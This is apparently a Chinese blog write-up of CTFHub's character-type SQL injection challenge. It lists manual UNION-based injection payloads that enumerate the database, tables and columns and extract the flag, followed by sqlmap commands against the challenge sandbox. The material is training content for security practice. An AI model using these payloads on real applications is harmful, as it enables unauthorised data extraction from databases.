CTFHub技能树--sql注入之字符型注入步骤详解

解法1-使用手工方式
解题思路:库-->表-->列-->数据

1.检测是否存在注入

1' and 1=1 # 返回正确
1' and 1=2 # 返回错误

2.测字段数(x为猜想的数字)  

1' order by 2 #    返回正确

1' order by 3 #    返回错误

根据测试结果显示:字段数为2

3.爆破数据库名

1' and 1=2 union select 1,database() #

根据所测试的字段数查询数据库名,依次测试第一个字段和第二个字段,经过测试第二个测试可以查询出数据库名为sqli。

4.爆破表名

1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

根据查询的数据库名爆破表名,可以查询出两个表名:news和flag

5.爆破列名

1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

根据数据库名和表名查询出列名为flag。

6.获得flag

1' and 1=2 union select 1,group_concat(flag) from sqli.flag #

最后可以获得flag为:ctfhub{d8426e50bf0268a89748597c}

解法2-使用sqlmap工具

# 列出列名

python [sqlmap.py](http://sqlmap.py) -u [http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1'](http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1') --tables

# 查数据

python [sqlmap.py](http://sqlmap.py) -u [http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1'](http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1') -T flag --columns --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值